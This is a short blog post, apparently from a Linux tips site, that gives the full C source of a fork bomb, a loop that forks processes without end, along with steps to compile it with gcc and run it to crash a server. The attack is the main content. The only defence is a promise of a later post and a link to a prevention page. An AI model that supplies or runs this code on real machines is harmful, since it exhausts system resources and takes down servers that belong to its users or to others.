Open Vi editor and type/copy the following lines
main()
{
while(1)
{
fork();
}
}
Save the file with any name, something like ... crash.c
Compile it: gcc crash.c
run it: ./a.out
And see how your server is getting crash.
Note: In future post I will explain how to protect your server from such program.
Here is the solution to prevent such attack - here
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source:http://linuxpoison.blogspot.com/2008/02/1357817580550.html